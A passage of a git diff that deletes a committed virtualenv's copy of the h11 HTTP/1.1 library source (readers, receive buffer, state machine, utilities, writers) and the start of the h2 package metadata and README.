self._reading_trailer = False - - def __call__(self, buf: ReceiveBuffer) -> Union[Data, EndOfMessage, None]: - if self._reading_trailer: - lines = buf.maybe_extract_lines() - if lines is None: - return None - return EndOfMessage(headers=list(_decode_header_lines(lines))) - if self._bytes_to_discard: - data = buf.maybe_extract_at_most(len(self._bytes_to_discard)) - if data is None: - return None - if data != self._bytes_to_discard[: len(data)]: - raise LocalProtocolError( - f"malformed chunk footer: {data!r} (expected {self._bytes_to_discard!r})" - ) - self._bytes_to_discard = self._bytes_to_discard[len(data) :] - if self._bytes_to_discard: - return None - # else, fall through and read some more - assert self._bytes_to_discard == b"" - if self._bytes_in_chunk == 0: - # We need to refill our chunk count - chunk_header = buf.maybe_extract_next_line() - if chunk_header is None: - return None - matches = validate( - chunk_header_re, - chunk_header, - "illegal chunk header: {!r}", - chunk_header, - ) - # XX FIXME: we discard chunk extensions. Does anyone care? - self._bytes_in_chunk = int(matches["chunk_size"], base=16) - if self._bytes_in_chunk == 0: - self._reading_trailer = True - return self(buf) - chunk_start = True - else: - chunk_start = False - assert self._bytes_in_chunk > 0 - data = buf.maybe_extract_at_most(self._bytes_in_chunk) - if data is None: - return None - self._bytes_in_chunk -= len(data) - if self._bytes_in_chunk == 0: - self._bytes_to_discard = b"\r\n" - chunk_end = True - else: - chunk_end = False - return Data(data=data, chunk_start=chunk_start, chunk_end=chunk_end) - - def read_eof(self) -> NoReturn: - raise RemoteProtocolError( - "peer closed connection without sending complete message body " - "(incomplete chunked read)" - ) - - -class Http10Reader: - def __call__(self, buf: ReceiveBuffer) -> Optional[Data]: - data = buf.maybe_extract_at_most(999999999) - if data is None: - return None - return Data(data=data) - - def read_eof(self) -> EndOfMessage: - return EndOfMessage() - - -def expect_nothing(buf: ReceiveBuffer) -> None: - if buf: - raise LocalProtocolError("Got data when expecting EOF") - return None - - -ReadersType = Dict[ - Union[Type[Sentinel], Tuple[Type[Sentinel], Type[Sentinel]]], - Union[Callable[..., Any], Dict[str, Callable[..., Any]]], -] - -READERS: ReadersType = { - (CLIENT, IDLE): maybe_read_from_IDLE_client, - (SERVER, IDLE): maybe_read_from_SEND_RESPONSE_server, - (SERVER, SEND_RESPONSE): maybe_read_from_SEND_RESPONSE_server, - (CLIENT, DONE): expect_nothing, - (CLIENT, MUST_CLOSE): expect_nothing, - (CLIENT, CLOSED): expect_nothing, - (SERVER, DONE): expect_nothing, - (SERVER, MUST_CLOSE): expect_nothing, - (SERVER, CLOSED): expect_nothing, - SEND_BODY: { - "chunked": ChunkedReader, - "content-length": ContentLengthReader, - "http/1.0": Http10Reader, - }, -} diff --git a/venv/Lib/site-packages/h11/_receivebuffer.py b/venv/Lib/site-packages/h11/_receivebuffer.py deleted file mode 100644 index e5c4e08a56f5081e87103f38b4add6ce1b730204..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h11/_receivebuffer.py +++ /dev/null @@ -1,153 +0,0 @@ -import re -import sys -from typing import List, Optional, Union - -__all__ = ["ReceiveBuffer"] - - -# Operations we want to support: -# - find next \r\n or \r\n\r\n (\n or \n\n are also acceptable), -# or wait until there is one -# - read at-most-N bytes -# Goals: -# - on average, do this fast -# - worst case, do this in O(n) where n is the number of bytes processed -# Plan: -# - store bytearray, offset, how far we've searched for a separator token -# - use the how-far-we've-searched data to avoid rescanning -# - while doing a stream of uninterrupted processing, advance offset instead -# of constantly copying -# WARNING: -# - I haven't benchmarked or profiled any of this yet. -# -# Note that starting in Python 3.4, deleting the initial n bytes from a -# bytearray is amortized O(n), thanks to some excellent work by Antoine -# Martin: -# -# https://bugs.python.org/issue19087 -# -# This means that if we only supported 3.4+, we could get rid of the code here -# involving self._start and self.compress, because it's doing exactly the same -# thing that bytearray now does internally. -# -# BUT unfortunately, we still support 2.7, and reading short segments out of a -# long buffer MUST be O(bytes read) to avoid DoS issues, so we can't actually -# delete this code. Yet: -# -# https://pythonclock.org/ -# -# (Two things to double-check first though: make sure PyPy also has the -# optimization, and benchmark to make sure it's a win, since we do have a -# slightly clever thing where we delay calling compress() until we've -# processed a whole event, which could in theory be slightly more efficient -# than the internal bytearray support.) -blank_line_regex = re.compile(b"\n\r?\n", re.MULTILINE) - - -class ReceiveBuffer: - def __init__(self) -> None: - self._data = bytearray() - self._next_line_search = 0 - self._multiple_lines_search = 0 - - def __iadd__(self, byteslike: Union[bytes, bytearray]) -> "ReceiveBuffer": - self._data += byteslike - return self - - def __bool__(self) -> bool: - return bool(len(self)) - - def __len__(self) -> int: - return len(self._data) - - # for @property unprocessed_data - def __bytes__(self) -> bytes: - return bytes(self._data) - - def _extract(self, count: int) -> bytearray: - # extracting an initial slice of the data buffer and return it - out = self._data[:count] - del self._data[:count] - - self._next_line_search = 0 - self._multiple_lines_search = 0 - - return out - - def maybe_extract_at_most(self, count: int) -> Optional[bytearray]: - """ - Extract a fixed number of bytes from the buffer. - """ - out = self._data[:count] - if not out: - return None - - return self._extract(count) - - def maybe_extract_next_line(self) -> Optional[bytearray]: - """ - Extract the first line, if it is completed in the buffer. - """ - # Only search in buffer space that we've not already looked at. - search_start_index = max(0, self._next_line_search - 1) - partial_idx = self._data.find(b"\r\n", search_start_index) - - if partial_idx == -1: - self._next_line_search = len(self._data) - return None - - # + 2 is to compensate len(b"\r\n") - idx = partial_idx + 2 - - return self._extract(idx) - - def maybe_extract_lines(self) -> Optional[List[bytearray]]: - """ - Extract everything up to the first blank line, and return a list of lines. - """ - # Handle the case where we have an immediate empty line. - if self._data[:1] == b"\n": - self._extract(1) - return [] - - if self._data[:2] == b"\r\n": - self._extract(2) - return [] - - # Only search in buffer space that we've not already looked at. - match = blank_line_regex.search(self._data, self._multiple_lines_search) - if match is None: - self._multiple_lines_search = max(0, len(self._data) - 2) - return None - - # Truncate the buffer and return it. - idx = match.span(0)[-1] - out = self._extract(idx) - lines = out.split(b"\n") - - for line in lines: - if line.endswith(b"\r"): - del line[-1] - - assert lines[-2] == lines[-1] == b"" - - del lines[-2:] - - return lines - - # In theory we should wait until `\r\n` before starting to validate - # incoming data. However it's interesting to detect (very) invalid data - # early given they might not even contain `\r\n` at all (hence only - # timeout will get rid of them). - # This is not a 100% effective detection but more of a cheap sanity check - # allowing for early abort in some useful cases. - # This is especially interesting when peer is messing up with HTTPS and - # sent us a TLS stream where we were expecting plain HTTP given all - # versions of TLS so far start handshake with a 0x16 message type code. - def is_next_line_obviously_invalid_request_line(self) -> bool: - try: - # HTTP header line must not contain non-printable characters - # and should not start with a space - return self._data[0] < 0x21 - except IndexError: - return False diff --git a/venv/Lib/site-packages/h11/_state.py b/venv/Lib/site-packages/h11/_state.py deleted file mode 100644 index 3ad444b043e3f3d6c05c2d9d84d5119312bfaa34..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h11/_state.py +++ /dev/null @@ -1,365 +0,0 @@ -################################################################ -# The core state machine -################################################################ -# -# Rule 1: everything that affects the state machine and state transitions must -# live here in this file. As much as possible goes into the table-based -# representation, but for the bits that don't quite fit, the actual code and -# state must nonetheless live here. -# -# Rule 2: this file does not know about what role we're playing; it only knows -# about HTTP request/response cycles in the abstract. This ensures that we -# don't cheat and apply different rules to local and remote parties. -# -# -# Theory of operation -# =================== -# -# Possibly the simplest way to think about this is that we actually have 5 -# different state machines here. Yes, 5. These are: -# -# 1) The client state, with its complicated automaton (see the docs) -# 2) The server state, with its complicated automaton (see the docs) -# 3) The keep-alive state, with possible states {True, False} -# 4) The SWITCH_CONNECT state, with possible states {False, True} -# 5) The SWITCH_UPGRADE state, with possible states {False, True} -# -# For (3)-(5), the first state listed is the initial state. -# -# (1)-(3) are stored explicitly in member variables. The last -# two are stored implicitly in the pending_switch_proposals set as: -# (state of 4) == (_SWITCH_CONNECT in pending_switch_proposals) -# (state of 5) == (_SWITCH_UPGRADE in pending_switch_proposals) -# -# And each of these machines has two different kinds of transitions: -# -# a) Event-triggered -# b) State-triggered -# -# Event triggered is the obvious thing that you'd think it is: some event -# happens, and if it's the right event at the right time then a transition -# happens. But there are somewhat complicated rules for which machines can -# "see" which events. (As a rule of thumb, if a machine "sees" an event, this -# means two things: the event can affect the machine, and if the machine is -# not in a state where it expects that event then it's an error.) These rules -# are: -# -# 1) The client machine sees all h11.events objects emitted by the client. -# -# 2) The server machine sees all h11.events objects emitted by the server. -# -# It also sees the client's Request event. -# -# And sometimes, server events are annotated with a _SWITCH_* event. For -# example, we can have a (Response, _SWITCH_CONNECT) event, which is -# different from a regular Response event. -# -# 3) The keep-alive machine sees the process_keep_alive_disabled() event -# (which is derived from Request/Response events), and this event -# transitions it from True -> False, or from False -> False. There's no way -# to transition back. -# -# 4&5) The _SWITCH_* machines transition from False->True when we get a -# Request that proposes the relevant type of switch (via -# process_client_switch_proposals), and they go from True->False when we -# get a Response that has no _SWITCH_* annotation. -# -# So that's event-triggered transitions. -# -# State-triggered transitions are less standard. What they do here is couple -# the machines together. The way this works is, when certain *joint* -# configurations of states are achieved, then we automatically transition to a -# new *joint* state. So, for example, if we're ever in a joint state with -# -# client: DONE -# keep-alive: False -# -# then the client state immediately transitions to: -# -# client: MUST_CLOSE -# -# This is fundamentally different from an event-based transition, because it -# doesn't matter how we arrived at the {client: DONE, keep-alive: False} state -# -- maybe the client transitioned SEND_BODY -> DONE, or keep-alive -# transitioned True -> False. Either way, once this precondition is satisfied, -# this transition is immediately triggered. -# -# What if two conflicting state-based transitions get enabled at the same -# time? In practice there's only one case where this arises (client DONE -> -# MIGHT_SWITCH_PROTOCOL versus DONE -> MUST_CLOSE), and we resolve it by -# explicitly prioritizing the DONE -> MIGHT_SWITCH_PROTOCOL transition. -# -# Implementation -# -------------- -# -# The event-triggered transitions for the server and client machines are all -# stored explicitly in a table. Ditto for the state-triggered transitions that -# involve just the server and client state. -# -# The transitions for the other machines, and the state-triggered transitions -# that involve the other machines, are written out as explicit Python code. -# -# It'd be nice if there were some cleaner way to do all this. This isn't -# *too* terrible, but I feel like it could probably be better. -# -# WARNING -# ------- -# -# The script that generates the state machine diagrams for the docs knows how -# to read out the EVENT_TRIGGERED_TRANSITIONS and STATE_TRIGGERED_TRANSITIONS -# tables. But it can't automatically read the transitions that are written -# directly in Python code. So if you touch those, you need to also update the -# script to keep it in sync! -from typing import cast, Dict, Optional, Set, Tuple, Type, Union - -from ._events import * -from ._util import LocalProtocolError, Sentinel - -# Everything in __all__ gets re-exported as part of the h11 public API. -__all__ = [ - "CLIENT", - "SERVER", - "IDLE", - "SEND_RESPONSE", - "SEND_BODY", - "DONE", - "MUST_CLOSE", - "CLOSED", - "MIGHT_SWITCH_PROTOCOL", - "SWITCHED_PROTOCOL", - "ERROR", -] - - -class CLIENT(Sentinel, metaclass=Sentinel): - pass - - -class SERVER(Sentinel, metaclass=Sentinel): - pass - - -# States -class IDLE(Sentinel, metaclass=Sentinel): - pass - - -class SEND_RESPONSE(Sentinel, metaclass=Sentinel): - pass - - -class SEND_BODY(Sentinel, metaclass=Sentinel): - pass - - -class DONE(Sentinel, metaclass=Sentinel): - pass - - -class MUST_CLOSE(Sentinel, metaclass=Sentinel): - pass - - -class CLOSED(Sentinel, metaclass=Sentinel): - pass - - -class ERROR(Sentinel, metaclass=Sentinel): - pass - - -# Switch types -class MIGHT_SWITCH_PROTOCOL(Sentinel, metaclass=Sentinel): - pass - - -class SWITCHED_PROTOCOL(Sentinel, metaclass=Sentinel): - pass - - -class _SWITCH_UPGRADE(Sentinel, metaclass=Sentinel): - pass - - -class _SWITCH_CONNECT(Sentinel, metaclass=Sentinel): - pass - - -EventTransitionType = Dict[ - Type[Sentinel], - Dict[ - Type[Sentinel], - Dict[Union[Type[Event], Tuple[Type[Event], Type[Sentinel]]], Type[Sentinel]], - ], -] - -EVENT_TRIGGERED_TRANSITIONS: EventTransitionType = { - CLIENT: { - IDLE: {Request: SEND_BODY, ConnectionClosed: CLOSED}, - SEND_BODY: {Data: SEND_BODY, EndOfMessage: DONE}, - DONE: {ConnectionClosed: CLOSED}, - MUST_CLOSE: {ConnectionClosed: CLOSED}, - CLOSED: {ConnectionClosed: CLOSED}, - MIGHT_SWITCH_PROTOCOL: {}, - SWITCHED_PROTOCOL: {}, - ERROR: {}, - }, - SERVER: { - IDLE: { - ConnectionClosed: CLOSED, - Response: SEND_BODY, - # Special case: server sees client Request events, in this form - (Request, CLIENT): SEND_RESPONSE, - }, - SEND_RESPONSE: { - InformationalResponse: SEND_RESPONSE, - Response: SEND_BODY, - (InformationalResponse, _SWITCH_UPGRADE): SWITCHED_PROTOCOL, - (Response, _SWITCH_CONNECT): SWITCHED_PROTOCOL, - }, - SEND_BODY: {Data: SEND_BODY, EndOfMessage: DONE}, - DONE: {ConnectionClosed: CLOSED}, - MUST_CLOSE: {ConnectionClosed: CLOSED}, - CLOSED: {ConnectionClosed: CLOSED}, - SWITCHED_PROTOCOL: {}, - ERROR: {}, - }, -} - -StateTransitionType = Dict[ - Tuple[Type[Sentinel], Type[Sentinel]], Dict[Type[Sentinel], Type[Sentinel]] -] - -# NB: there are also some special-case state-triggered transitions hard-coded -# into _fire_state_triggered_transitions below. -STATE_TRIGGERED_TRANSITIONS: StateTransitionType = { - # (Client state, Server state) -> new states - # Protocol negotiation - (MIGHT_SWITCH_PROTOCOL, SWITCHED_PROTOCOL): {CLIENT: SWITCHED_PROTOCOL}, - # Socket shutdown - (CLOSED, DONE): {SERVER: MUST_CLOSE}, - (CLOSED, IDLE): {SERVER: MUST_CLOSE}, - (ERROR, DONE): {SERVER: MUST_CLOSE}, - (DONE, CLOSED): {CLIENT: MUST_CLOSE}, - (IDLE, CLOSED): {CLIENT: MUST_CLOSE}, - (DONE, ERROR): {CLIENT: MUST_CLOSE}, -} - - -class ConnectionState: - def __init__(self) -> None: - # Extra bits of state that don't quite fit into the state model. - - # If this is False then it enables the automatic DONE -> MUST_CLOSE - # transition. Don't set this directly; call .keep_alive_disabled() - self.keep_alive = True - - # This is a subset of {UPGRADE, CONNECT}, containing the proposals - # made by the client for switching protocols. - self.pending_switch_proposals: Set[Type[Sentinel]] = set() - - self.states: Dict[Type[Sentinel], Type[Sentinel]] = {CLIENT: IDLE, SERVER: IDLE} - - def process_error(self, role: Type[Sentinel]) -> None: - self.states[role] = ERROR - self._fire_state_triggered_transitions() - - def process_keep_alive_disabled(self) -> None: - self.keep_alive = False - self._fire_state_triggered_transitions() - - def process_client_switch_proposal(self, switch_event: Type[Sentinel]) -> None: - self.pending_switch_proposals.add(switch_event) - self._fire_state_triggered_transitions() - - def process_event( - self, - role: Type[Sentinel], - event_type: Type[Event], - server_switch_event: Optional[Type[Sentinel]] = None, - ) -> None: - _event_type: Union[Type[Event], Tuple[Type[Event], Type[Sentinel]]] = event_type - if server_switch_event is not None: - assert role is SERVER - if server_switch_event not in self.pending_switch_proposals: - raise LocalProtocolError( - "Received server _SWITCH_UPGRADE event without a pending proposal" - ) - _event_type = (event_type, server_switch_event) - if server_switch_event is None and _event_type is Response: - self.pending_switch_proposals = set() - self._fire_event_triggered_transitions(role, _event_type) - # Special case: the server state does get to see Request - # events. - if _event_type is Request: - assert role is CLIENT - self._fire_event_triggered_transitions(SERVER, (Request, CLIENT)) - self._fire_state_triggered_transitions() - - def _fire_event_triggered_transitions( - self, - role: Type[Sentinel], - event_type: Union[Type[Event], Tuple[Type[Event], Type[Sentinel]]], - ) -> None: - state = self.states[role] - try: - new_state = EVENT_TRIGGERED_TRANSITIONS[role][state][event_type] - except KeyError: - event_type = cast(Type[Event], event_type) - raise LocalProtocolError( - "can't handle event type {} when role={} and state={}".format( - event_type.__name__, role, self.states[role] - ) - ) from None - self.states[role] = new_state - - def _fire_state_triggered_transitions(self) -> None: - # We apply these rules repeatedly until converging on a fixed point - while True: - start_states = dict(self.states) - - # It could happen that both these special-case transitions are - # enabled at the same time: - # - # DONE -> MIGHT_SWITCH_PROTOCOL - # DONE -> MUST_CLOSE - # - # For example, this will always be true of a HTTP/1.0 client - # requesting CONNECT. If this happens, the protocol switch takes - # priority. From there the client will either go to - # SWITCHED_PROTOCOL, in which case it's none of our business when - # they close the connection, or else the server will deny the - # request, in which case the client will go back to DONE and then - # from there to MUST_CLOSE. - if self.pending_switch_proposals: - if self.states[CLIENT] is DONE: - self.states[CLIENT] = MIGHT_SWITCH_PROTOCOL - - if not self.pending_switch_proposals: - if self.states[CLIENT] is MIGHT_SWITCH_PROTOCOL: - self.states[CLIENT] = DONE - - if not self.keep_alive: - for role in (CLIENT, SERVER): - if self.states[role] is DONE: - self.states[role] = MUST_CLOSE - - # Tabular state-triggered transitions - joint_state = (self.states[CLIENT], self.states[SERVER]) - changes = STATE_TRIGGERED_TRANSITIONS.get(joint_state, {}) - self.states.update(changes) - - if self.states == start_states: - # Fixed point reached - return - - def start_next_cycle(self) -> None: - if self.states != {CLIENT: DONE, SERVER: DONE}: - raise LocalProtocolError( - f"not in a reusable state. self.states={self.states}" - ) - # Can't reach DONE/DONE with any of these active, but still, let's be - # sure. - assert self.keep_alive - assert not self.pending_switch_proposals - self.states = {CLIENT: IDLE, SERVER: IDLE} diff --git a/venv/Lib/site-packages/h11/_util.py b/venv/Lib/site-packages/h11/_util.py deleted file mode 100644 index 6718445290770e028ea2f1f662026c9a0b0991db..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h11/_util.py +++ /dev/null @@ -1,135 +0,0 @@ -from typing import Any, Dict, NoReturn, Pattern, Tuple, Type, TypeVar, Union - -__all__ = [ - "ProtocolError", - "LocalProtocolError", - "RemoteProtocolError", - "validate", - "bytesify", -] - - -class ProtocolError(Exception): - """Exception indicating a violation of the HTTP/1.1 protocol. - - This as an abstract base class, with two concrete base classes: - :exc:`LocalProtocolError`, which indicates that you tried to do something - that HTTP/1.1 says is illegal, and :exc:`RemoteProtocolError`, which - indicates that the remote peer tried to do something that HTTP/1.1 says is - illegal. See :ref:`error-handling` for details. - - In addition to the normal :exc:`Exception` features, it has one attribute: - - .. attribute:: error_status_hint - - This gives a suggestion as to what status code a server might use if - this error occurred as part of a request. - - For a :exc:`RemoteProtocolError`, this is useful as a suggestion for - how you might want to respond to a misbehaving peer, if you're - implementing a server. - - For a :exc:`LocalProtocolError`, this can be taken as a suggestion for - how your peer might have responded to *you* if h11 had allowed you to - continue. - - The default is 400 Bad Request, a generic catch-all for protocol - violations. - - """ - - def __init__(self, msg: str, error_status_hint: int = 400) -> None: - if type(self) is ProtocolError: - raise TypeError("tried to directly instantiate ProtocolError") - Exception.__init__(self, msg) - self.error_status_hint = error_status_hint - - -# Strategy: there are a number of public APIs where a LocalProtocolError can -# be raised (send(), all the different event constructors, ...), and only one -# public API where RemoteProtocolError can be raised -# (receive_data()). Therefore we always raise LocalProtocolError internally, -# and then receive_data will translate this into a RemoteProtocolError. -# -# Internally: -# LocalProtocolError is the generic "ProtocolError". -# Externally: -# LocalProtocolError is for local errors and RemoteProtocolError is for -# remote errors. -class LocalProtocolError(ProtocolError): - def _reraise_as_remote_protocol_error(self) -> NoReturn: - # After catching a LocalProtocolError, use this method to re-raise it - # as a RemoteProtocolError. This method must be called from inside an - # except: block. - # - # An easy way to get an equivalent RemoteProtocolError is just to - # modify 'self' in place. - self.__class__ = RemoteProtocolError # type: ignore - # But the re-raising is somewhat non-trivial -- you might think that - # now that we've modified the in-flight exception object, that just - # doing 'raise' to re-raise it would be enough. But it turns out that - # this doesn't work, because Python tracks the exception type - # (exc_info[0]) separately from the exception object (exc_info[1]), - # and we only modified the latter. So we really do need to re-raise - # the new type explicitly. - # On py3, the traceback is part of the exception object, so our - # in-place modification preserved it and we can just re-raise: - raise self - - -class RemoteProtocolError(ProtocolError): - pass - - -def validate( - regex: Pattern[bytes], data: bytes, msg: str = "malformed data", *format_args: Any -) -> Dict[str, bytes]: - match = regex.fullmatch(data) - if not match: - if format_args: - msg = msg.format(*format_args) - raise LocalProtocolError(msg) - return match.groupdict() - - -# Sentinel values -# -# - Inherit identity-based comparison and hashing from object -# - Have a nice repr -# - Have a *bonus property*: type(sentinel) is sentinel -# -# The bonus property is useful if you want to take the return value from -# next_event() and do some sort of dispatch based on type(event). - -_T_Sentinel = TypeVar("_T_Sentinel", bound="Sentinel") - - -class Sentinel(type): - def __new__( - cls: Type[_T_Sentinel], - name: str, - bases: Tuple[type, ...], - namespace: Dict[str, Any], - **kwds: Any - ) -> _T_Sentinel: - assert bases == (Sentinel,) - v = super().__new__(cls, name, bases, namespace, **kwds) - v.__class__ = v # type: ignore - return v - - def __repr__(self) -> str: - return self.__name__ - - -# Used for methods, request targets, HTTP versions, header names, and header -# values. Accepts ascii-strings, or bytes/bytearray/memoryview/..., and always -# returns bytes. -def bytesify(s: Union[bytes, bytearray, memoryview, int, str]) -> bytes: - # Fast-path: - if type(s) is bytes: - return s - if isinstance(s, str): - s = s.encode("ascii") - if isinstance(s, int): - raise TypeError("expected bytes-like object, not int") - return bytes(s) diff --git a/venv/Lib/site-packages/h11/_version.py b/venv/Lib/site-packages/h11/_version.py deleted file mode 100644 index 76e7327b8617c9d12236f511414d5eb58e98a44b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h11/_version.py +++ /dev/null @@ -1,16 +0,0 @@ -# This file must be kept very simple, because it is consumed from several -# places -- it is imported by h11/__init__.py, execfile'd by setup.py, etc. - -# We use a simple scheme: -# 1.0.0 -> 1.0.0+dev -> 1.1.0 -> 1.1.0+dev -# where the +dev versions are never released into the wild, they're just what -# we stick into the VCS in between releases. -# -# This is compatible with PEP 440: -# http://legacy.python.org/dev/peps/pep-0440/ -# via the use of the "local suffix" "+dev", which is disallowed on index -# servers and causes 1.0.0+dev to sort after plain 1.0.0, which is what we -# want. (Contrast with the special suffix 1.0.0.dev, which sorts *before* -# 1.0.0.) - -__version__ = "0.16.0" diff --git a/venv/Lib/site-packages/h11/_writers.py b/venv/Lib/site-packages/h11/_writers.py deleted file mode 100644 index 939cdb912a9debaea07fbf3a9ac04549c44d077c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h11/_writers.py +++ /dev/null @@ -1,145 +0,0 @@ -# Code to read HTTP data -# -# Strategy: each writer takes an event + a write-some-bytes function, which is -# calls. -# -# WRITERS is a dict describing how to pick a reader. It maps states to either: -# - a writer -# - or, for body writers, a dict of framin-dependent writer factories - -from typing import Any, Callable, Dict, List, Tuple, Type, Union - -from ._events import Data, EndOfMessage, Event, InformationalResponse, Request, Response -from ._headers import Headers -from ._state import CLIENT, IDLE, SEND_BODY, SEND_RESPONSE, SERVER -from ._util import LocalProtocolError, Sentinel - -__all__ = ["WRITERS"] - -Writer = Callable[[bytes], Any] - - -def write_headers(headers: Headers, write: Writer) -> None: - # "Since the Host field-value is critical information for handling a - # request, a user agent SHOULD generate Host as the first header field - # following the request-line." - RFC 7230 - raw_items = headers._full_items - for raw_name, name, value in raw_items: - if name == b"host": - write(b"%s: %s\r\n" % (raw_name, value)) - for raw_name, name, value in raw_items: - if name != b"host": - write(b"%s: %s\r\n" % (raw_name, value)) - write(b"\r\n") - - -def write_request(request: Request, write: Writer) -> None: - if request.http_version != b"1.1": - raise LocalProtocolError("I only send HTTP/1.1") - write(b"%s %s HTTP/1.1\r\n" % (request.method, request.target)) - write_headers(request.headers, write) - - -# Shared between InformationalResponse and Response -def write_any_response( - response: Union[InformationalResponse, Response], write: Writer -) -> None: - if response.http_version != b"1.1": - raise LocalProtocolError("I only send HTTP/1.1") - status_bytes = str(response.status_code).encode("ascii") - # We don't bother sending ascii status messages like "OK"; they're - # optional and ignored by the protocol. (But the space after the numeric - # status code is mandatory.) - # - # XX FIXME: could at least make an effort to pull out the status message - # from stdlib's http.HTTPStatus table. Or maybe just steal their enums - # (either by import or copy/paste). We already accept them as status codes - # since they're of type IntEnum < int. - write(b"HTTP/1.1 %s %s\r\n" % (status_bytes, response.reason)) - write_headers(response.headers, write) - - -class BodyWriter: - def __call__(self, event: Event, write: Writer) -> None: - if type(event) is Data: - self.send_data(event.data, write) - elif type(event) is EndOfMessage: - self.send_eom(event.headers, write) - else: # pragma: no cover - assert False - - def send_data(self, data: bytes, write: Writer) -> None: - pass - - def send_eom(self, headers: Headers, write: Writer) -> None: - pass - - -# -# These are all careful not to do anything to 'data' except call len(data) and -# write(data). This allows us to transparently pass-through funny objects, -# like placeholder objects referring to files on disk that will be sent via -# sendfile(2). -# -class ContentLengthWriter(BodyWriter): - def __init__(self, length: int) -> None: - self._length = length - - def send_data(self, data: bytes, write: Writer) -> None: - self._length -= len(data) - if self._length < 0: - raise LocalProtocolError("Too much data for declared Content-Length") - write(data) - - def send_eom(self, headers: Headers, write: Writer) -> None: - if self._length != 0: - raise LocalProtocolError("Too little data for declared Content-Length") - if headers: - raise LocalProtocolError("Content-Length and trailers don't mix") - - -class ChunkedWriter(BodyWriter): - def send_data(self, data: bytes, write: Writer) -> None: - # if we encoded 0-length data in the naive way, it would look like an - # end-of-message. - if not data: - return - write(b"%x\r\n" % len(data)) - write(data) - write(b"\r\n") - - def send_eom(self, headers: Headers, write: Writer) -> None: - write(b"0\r\n") - write_headers(headers, write) - - -class Http10Writer(BodyWriter): - def send_data(self, data: bytes, write: Writer) -> None: - write(data) - - def send_eom(self, headers: Headers, write: Writer) -> None: - if headers: - raise LocalProtocolError("can't send trailers to HTTP/1.0 client") - # no need to close the socket ourselves, that will be taken care of by - # Connection: close machinery - - -WritersType = Dict[ - Union[Tuple[Type[Sentinel], Type[Sentinel]], Type[Sentinel]], - Union[ - Dict[str, Type[BodyWriter]], - Callable[[Union[InformationalResponse, Response], Writer], None], - Callable[[Request, Writer], None], - ], -] - -WRITERS: WritersType = { - (CLIENT, IDLE): write_request, - (SERVER, IDLE): write_any_response, - (SERVER, SEND_RESPONSE): write_any_response, - SEND_BODY: { - "chunked": ChunkedWriter, - "content-length": ContentLengthWriter, - "http/1.0": Http10Writer, - }, -} diff --git a/venv/Lib/site-packages/h11/py.typed b/venv/Lib/site-packages/h11/py.typed deleted file mode 100644 index f5642f79f21d872f010979dcf6f0c4a415acc19d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h11/py.typed +++ /dev/null @@ -1 +0,0 @@ -Marker diff --git a/venv/Lib/site-packages/h2-4.4.1.dist-info/INSTALLER b/venv/Lib/site-packages/h2-4.4.1.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h2-4.4.1.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/h2-4.4.1.dist-info/METADATA b/venv/Lib/site-packages/h2-4.4.1.dist-info/METADATA deleted file mode 100644 index 28d77f5275739b6780bf36c5c14b9747b3b79ef7..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h2-4.4.1.dist-info/METADATA +++ /dev/null @@ -1,106 +0,0 @@ -Metadata-Version: 2.4 -Name: h2 -Version: 4.4.1 -Summary: Pure-Python HTTP/2 protocol implementation -Author-email: Cory Benfield -Maintainer-email: Thomas Kriechbaumer -License-Expression: MIT -Project-URL: Homepage, https://github.com/python-hyper/h2/ -Project-URL: Bug Reports, https://github.com/python-hyper/h2/issues -Project-URL: Source, https://github.com/python-hyper/h2/ -Project-URL: Documentation, https://python-hyper.org/ -Classifier: Development Status :: 5 - Production/Stable -Classifier: Intended Audience :: Developers -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Programming Language :: Python :: 3.14 -Classifier: Programming Language :: Python :: Implementation :: CPython -Requires-Python: >=3.10 -Description-Content-Type: text/x-rst -License-File: LICENSE -Requires-Dist: hyperframe<7,>=6.1 -Requires-Dist: hpack<5,>=4.2 -Dynamic: license-file - -========================= -h2: HTTP/2 Protocol Stack -========================= - -.. image:: https://github.com/python-hyper/h2/workflows/CI/badge.svg - :target: https://github.com/python-hyper/h2/actions - :alt: Build Status -.. image:: https://codecov.io/gh/python-hyper/h2/branch/master/graph/badge.svg - :target: https://codecov.io/gh/python-hyper/h2 - :alt: Code Coverage -.. image:: https://readthedocs.org/projects/h2/badge/?version=latest - :target: https://h2.readthedocs.io/en/latest/ - :alt: Documentation Status -.. image:: https://img.shields.io/badge/chat-join_now-brightgreen.svg - :target: https://gitter.im/python-hyper/community - :alt: Chat community - -.. image:: https://raw.github.com/python-hyper/documentation/master/source/logo/hyper-black-bg-white.png - -This repository contains a pure-Python implementation of a HTTP/2 protocol -stack. It's written from the ground up to be embeddable in whatever program you -choose to use, ensuring that you can speak HTTP/2 regardless of your -programming paradigm. - -You use it like this: - -.. code-block:: python - - import h2.connection - import h2.config - - config = h2.config.H2Configuration() - conn = h2.connection.H2Connection(config=config) - conn.send_headers(stream_id=stream_id, headers=headers) - conn.send_data(stream_id, data) - socket.sendall(conn.data_to_send()) - events = conn.receive_data(socket_data) - -This repository does not provide a parsing layer, a network layer, or any rules -about concurrency. Instead, it's a purely in-memory solution, defined in terms -of data actions and HTTP/2 frames. This is one building block of a full Python -HTTP implementation. - -To install it, just run: - -.. code-block:: console - - $ python -m pip install h2 - -Documentation -============= - -Documentation is available at https://h2.readthedocs.io . - -Contributing -============ - -``h2`` welcomes contributions from anyone! Unlike many other projects we -are happy to accept cosmetic contributions and small contributions, in addition -to large feature requests and changes. - -Before you contribute (either by opening an issue or filing a pull request), -please `read the contribution guidelines`_. - -.. _read the contribution guidelines: https://python-hyper.org/en/latest/contributing.html - -License -======= - -``h2`` is made available under the MIT License. For more details, see the -``LICENSE`` file in the repository. - -Authors -======= - -``h2`` was authored by Cory Benfield and is maintained -by the members of 